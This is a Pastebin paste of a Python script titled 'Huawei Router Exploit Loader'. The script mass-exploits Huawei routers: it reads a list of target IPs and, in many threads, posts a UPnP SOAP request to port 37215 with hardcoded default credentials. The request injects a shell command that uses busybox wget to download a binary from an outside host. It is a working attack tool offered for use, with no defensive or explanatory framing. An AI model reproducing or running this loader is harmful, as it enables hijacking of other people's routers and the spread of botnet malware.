Advertisement
Dr-L0v3

Huawei Router Exploit Loader

Jan 25th, 2018
1,110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.54 KB | None | 0 0
  1. #! python !#
  2.  
  3. # Huawei Router Exploit Loader
  4.  
  5. import sys, os, re
  6. from threading import Thread
  7. from time import sleep
  8. import requests
  9. from requests.auth import HTTPDigestAuth
  10. from decimal import *
  11.  
  12. ips = open(sys.argv[1], "r").readlines()
  13. motherthreads = int(sys.argv[2])
  14. motherthread_count = len(ips) / motherthreads
  15. motherthread_chunks = [ips[x:x+motherthread_count] for x in xrange(0, len(ips), motherthread_count)]
  16. cmd = "cd /tmp;/bin/busybox wget -g ip -l /tmp/ho -r /binary"
  17. payload2 = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"
  18.  
  19. def dump(count):
  20.     count = int(count)
  21.     for i in motherthread_chunks[count]:
  22.         try:
  23.             url = "http://"+i+":37215/ctrlt/DeviceUpgrade_1"
  24.             url = re.sub('\n', '', url)
  25.             requests.post(url, timeout=8, data=payload2, auth=HTTPDigestAuth('dslf-config', 'admin'))
  26.             print "PAYLOAD SENT %s"%(url)
  27.             motherthread_chunks[count] = motherthread_chunks[count].remove(i)
  28.         except:
  29.             pass
  30.  
  31. for x in xrange(motherthreads):
  32.     try:
  33.         thread = Thread(target=dump, args=(x,))
  34.         thread.start()
  35.     except KeyboardInterrupt:
  36.         sys.exit("STOPPING!!!")
  37.     except:
  38.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement